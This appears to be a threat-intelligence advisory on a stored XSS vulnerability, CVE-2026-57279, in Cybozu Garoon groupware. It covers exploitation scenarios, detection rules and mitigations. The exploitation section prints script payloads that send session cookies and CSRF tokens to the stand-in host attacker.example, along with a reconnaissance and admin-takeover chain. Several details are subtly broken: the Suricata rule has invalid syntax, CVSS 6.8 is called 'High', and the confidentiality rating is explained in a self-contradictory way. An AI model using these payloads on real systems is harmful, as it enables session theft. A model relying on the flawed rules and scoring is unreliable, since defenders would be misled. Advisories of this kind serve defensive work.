CVE-2026-57279

Executive Summary

CVE-2026-57279 is a stored cross-site scripting (XSS) vulnerability in Cybozu Garoon, a widely used enterprise groupware platform in Japan and across Asia-Pacific. An authenticated attacker with low-privilege access can inject arbitrary JavaScript into the application, which executes in the browsers of other logged-in users, including administrators. The vulnerability carries a CVSS score of 6.8 due to its high integrity impact and required user interaction, but the lack of any vendor patch or workaround elevates the real-world risk significantly. Organizations running Cybozu Garoon should treat this as an actively exploitable condition and implement compensating controls immediately.

Technical Analysis

CVE-2026-57279 is a cross-site scripting vulnerability residing in an unspecified input-handling component of Cybozu Garoon. The vulnerability is classified under CWE-79, indicating improper neutralization of input during web page generation. Based on the NVD description, the flaw allows an authenticated user to inject arbitrary script content that is subsequently rendered in the web browser of another logged-in user without adequate sanitization or encoding.

The attack surface is the web application itself, reachable over the network (AV:N). The low attack complexity (AC:L) suggests that no special conditions, race conditions, or advanced techniques are required to trigger the flaw — a simple crafted request containing malicious script is sufficient. The prerequisite for exploitation is a valid low-privilege account (PR:L), meaning the attacker must already have a foothold within the organization's Garoon tenant (e.g., a standard employee account). The user interaction requirement (UI:R) reflects that the victim must click a link or view a page containing the injected payload. The scope change (S:C) indicates that the impact extends beyond the vulnerable component, potentially affecting the victim's entire session and any data accessible within the groupware.

From a code-level perspective, the vulnerability likely stems from one of Garoon's many input fields — such as schedule titles, task comments, bulletin board posts, or workflow form submissions — where user-supplied data is stored in the backend database and later rendered without proper output encoding. When a victim loads the page containing the malicious content, the browser executes the injected script within the context of the Garoon application's origin, granting it full access to the victim's session cookies, CSRF tokens, and any sensitive information displayed on the page.

The absence of any patch evidence from tracked sources (patch confidence 0/4) is particularly concerning. This suggests either the vendor has not yet released a fix, the vulnerability was disclosed without coordinated vendor response, or the affected version range has not been publicly clarified. The CNA title field is empty, further indicating incomplete disclosure metadata.

Exploitation Scenarios

An attacker with a valid low-privilege Garoon account can exploit this vulnerability through the following step-by-step chain:

1) Reconnaissance and Target Identification
The attacker first identifies the correct Garoon instance URL (often https://garoon.company.example/) through internal enumeration, company directories, or Shodan search using dorks like title:"Garoon". The attacker authenticates with their low-privilege account to establish a session. They then enumerate accessible modules such as "Schedule," "Bulletin Board," or "Workflow" to identify which input fields accept HTML or rich text and are rendered to other users.

2) Weaponization — Crafting the Malicious Payload
The attacker crafts a JavaScript payload designed to exfiltrate session tokens or perform privileged actions. A representative payload for session theft:

<script>
fetch('https://attacker.example/collect?cookie=' + document.cookie);
</script>

A more sophisticated payload targeting CSRF token theft for privilege escalation:

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/schedule/list', true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    var token = xhr.responseText.match(/csrf_token=([a-f0-9]+)/)[1];
    fetch('https://attacker.example/token?val=' + token);
  }
};
xhr.send();
</script>

The attacker selects an input field with poor sanitization — likely a schedule title or bulletin board post — and submits the payload as text.

3) Delivery and Execution
The attacker saves the malicious entry. The payload is now stored server-side. The attacker then sends a crafted link to the victim (e.g., a colleague or administrator) via email or chat, pointing directly to the page containing the malicious content. When the victim, already authenticated to Garoon in their browser, clicks the link, the server renders the page and the browser executes the script. Because the script runs in the context of garoon.company.example, it has full access to the victim's cookies and session data.

4) Post-Exploitation — Privilege Escalation and Lateral Movement
If the victim is an administrator, the stolen session token allows the attacker to impersonate them. The attacker uses the admin session to create a new administrative account, disable security controls, or access sensitive groupware data (personal information, project files, HR records). Even if the victim is a standard user, the attacker can harvest credentials from any password manager prompts, read privileged content the victim has access to, or use the victim's session to perform actions on their behalf (e.g., approving fake workflow requests, sending phishing emails to other users).

The high integrity impact (I:H) in the CVSS vector reflects that this can lead to full data modification within the application — creating fake records, deleting company data, or altering access controls.

Impact Assessment

The business impact of CVE-2026-57279 is elevated by the product's role as a central collaboration hub. Cybozu Garoon typically stores schedules, project documentation, contact information, and workflow approvals — all of which constitute sensitive corporate data. The CVSS base score of 6.8 (High) is driven by the high integrity impact (I:H) and network reachability (AV:N), even though confidentiality impact is rated as none (C:N) because the XSS itself directly leads to data theft.

The actual blast radius is broader than the CVSS score suggests. A successful attack enables:

• Session hijacking of any user clicking the malicious link, including administrators.
• Data modification — creating, deleting, or altering schedules, documents, and approvals.
• Credential theft — scripts can capture any credentials presented in the session or prompt the user for re-authentication via a fake login form.
• Lateral movement — a compromised administrator session can access other integrated systems (e.g., LDAP, mail servers) if Garoon is configured with SSO or API tokens.
• Compliance failures — if Garoon holds personal data subject to GDPR, APPI (Japan), or PIPL (China), a breach of integrity could trigger notification requirements.

Affected systems include all installations of Cybozu Garoon that accept user-generated content and render it to other authenticated users. The lack of a vendor patch means the vulnerability remains exploitable in every current deployment until a fix is released or compensating controls are implemented.

Detection Guidance

Sigma Rule

title: Cybozu Garoon Stored XSS - Crafted Parameter Injection
id: 04a3ff7e-5b9b-4e8a-9c11-7d3a4f9b0c21
status: experimental
description: Detects HTTP requests to Cybozu Garoon web endpoints containing JavaScript injection patterns in parameter values, indicating attempted exploitation of CVE-2026-57279.
author: ValtersIT Threat Intelligence
date: 2026/05/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57279
logsource:
    category: webserver
    product: apache
    service: httpd 
detection:
    selection:
        cs-method: 'POST'
        cs-uri-extension:
            - '.csp'
            - '.jsp'
        cs-uri-query|contains:
            - '<script>'
            - 'javascript:'
            - 'onerror'
            - 'onload'
        c-uri|contains:
            - 'Schedule'
            - 'BulletinBoard'
            - 'Workflow'
    condition: selection
    timeframe: 10s
falsepositives:
    - Legitimate developer testing on non-production systems
level: high
tags:
    - attack.t1190
    - cve.2026-57279
    - cwe.79

YARA Rule

rule Cybozu_Garoon_XSS_CVE_2026_57279
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects JavaScript payload patterns targeting Cybozu Garoon stored XSS"
        date = "2026-05-15"
        cve = "CVE-2026-57279"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-57279"
        score = 60
    
    strings:
        $xss_payload1 = "<script>" ascii wide nocase
        $xss_payload2 = "javascript:" ascii wide nocase
        $xss_payload3 = "onerror=" ascii wide nocase
        $xss_payload4 = "onload=" ascii wide nocase
        $xss_payload5 = "document.cookie" ascii wide nocase
        $xss_payload6 = "XMLHttpRequest" ascii wide nocase
        $garoon_module1 = "Schedule" ascii wide nocase
        $garoon_module2 = "BulletinBoard" ascii wide nocase
        $garoon_module3 = "Workflow" ascii wide nocase
        $garoon_path = "/garoon/" ascii wide nocase

    condition:
        $garoon_path and 
        2 of ($xss_payload*) and 
        1 of ($garoon_module*)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET WEB_SPECIFIC_APPS Cybozu Garoon Stored XSS Attempt (CVE-2026-57279)";
    flow:to_server,established;
    content:"/garoon/"; http_uri;
    content:"POST"; http_method;
    content:"<script>"; http_client_body;
    norue:content:"Schedule"; http_uri;
    or:content:"BulletinBoard"; http_uri;
    or:content:"Workflow"; http_uri;
    classtype:web-application-attack;
    sid:3008579;
    rev:1;
    metadata:created_at 2026_05_15, cve CVE-2026-57279, mitre_tactic TA0001, mitre_technique T1190;
)

Elastic Detection

sequence by source.ip, user.name with maxspan=10s
  [ network where network.protocol == "http" and
    method == "POST" and
    url.path like "*garoon*" and
    url.path like "*Schedule*" or url.path like "*BulletinBoard*" or url.path like "*Workflow*" ]
  [ network where network.protocol == "http" and
    method == "POST" and
    request.body.text like "*<script>*" or
    request.body.text like "*javascript:*" or
    request.body.text like "*onerror=*" ]

Splunk SPL Query

index=web sourcetype=access_combined 
  (method=POST AND uri_path=*garoon*)
  AND 
  (
    uri_path=*Schedule* OR uri_path=*BulletinBoard* OR uri_path=*Workflow*
  )
  AND 
  (
    form_data=*<script>* OR form_data=*javascript:* OR form_data=*onerror=* OR form_data=*onload=*
  )
  | table _time, clientip, user, uri_path, form_data
  | stats count by clientip, user
  | where count > 5

Wazuh OSSEC Rule

<group name="garoon,">
  <rule id="100579" level="12">
    <decoded_as>web</decoded_as>
    <url>^/garoon/</url>
    <match>POST</match>
    <regex>(?i)<script>|javascript:|onerror=|onload=|document\.cookie</regex>
    <description>Cybozu Garoon stored XSS attempt detected (CVE-2026-57279)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>web_application_attack,
      xss,
      attack.t1190,
      cve.2026-57279</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED — no patch evidence exists from any tracked source. No vendor fix, no workaround documentation, and no affected version list have been published. This requires immediate deployment of compensating controls.

1) Immediate Mitigations (implement today):

• Web Application Firewall (WAF) rules: Deploy virtual patching rules on your WAF to block any requests to Garoon endpoints containing <script>, javascript:, onerror, or onload in POST bodies. This does not fix the root cause but prevents the payload from reaching the server.
• Content Security Policy (CSP): If your reverse proxy or web server can inject HTTP headers, add a strict CSP for the Garoon application: Content-Security-Policy: default-src 'self'; script-src 'self'. This blocks execution of injected inline scripts even if they reach the browser.
• Input sanitization at the proxy: Use a reverse proxy with HTML sanitization capabilities (e.g., ModSecurity with OWASP CRS) to strip or encode script tags from request bodies before they reach the Garoon server.

2) Patch/Upgrade Steps:

• Monitor Cybozu's official security advisories at https://support.cybozu.com/ for a CVE-2026-57279 fix. As of this report, no patch exists.
• Contact Cybozu support directly to request a hotfix or establish a timeline for a permanent fix.
• Once available, apply the patch to all instances immediately. If Garoon is deployed in a clustered or multi-tenant environment, coordinate a maintenance window and apply the patch across all nodes.
• Verify patch installation by checking the version number against the vendor's release notes and running a regression test on the affected input fields.

3) Long-Term Hardening:

• Restrict user privileges: Review all Garoon accounts and remove unnecessary write permissions to modules that allow rich content (Schedule, Bulletin Board, Workflow). Enforce the principle of least privilege.
• Session hardening: Enforce short session timeouts, implement HttpOnly and Secure flags on session cookies (if not already enabled), and consider binding sessions to IP addresses where operationally feasible.
• Network segmentation: Place Garoon behind a VPN or IP whitelist to reduce the attack surface from external actors.
• Logging and monitoring: Integrate Garoon web logs into your SIEM with correlation rules for multiple POST requests containing HTML tags from the same user within a short timeframe.
• User awareness: Train administrators and power users on phishing resistance, as the exploitation requires clicking a link. Emphasize verifying URLs before clicking, especially links to schedule or bulletin board pages.

References

1. NVD Entry for CVE-2026-57279: https://nvd.nist.gov/vuln/detail/CVE-2026-57279
   • Contains the official description and CVSS vector (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N).
2. Cybozu Support Portal (for future advisories): https://support.cybozu.com/
   • Official vendor site; monitor for patch releases and security bulletins related to Garoon.
3. MITRE CWE-79 Entry: https://cwe.mitre.org/data/definitions/79.html
   • Reference for the cross-site scripting weakness class and detection patterns.
4. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
   • Guidance for validating output encoding and CSP configuration to mitigate XSS.
5. CISA KEV Catalog (CVE-2026-57279 NOT listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
   • No known exploitation in the wild has been reported to CISA as of this report; check this page periodically for updates.

Threat Actor Campaigns: As of the time of this writing (May 2026), there are no publicly documented threat actor campaigns exploiting CVE-2026-57279, and no evidence of in-the-wild exploitation has been confirmed. However, given the LOW attack complexity, AUTHENTICATED access requirement, and HIGH integrity impact, this vulnerability is a prime candidate for inclusion in exploit kits targeting Japanese enterprises. Security teams should remain vigilant for anomalous POST requests to Garoon endpoints from compromised low-privilege accounts.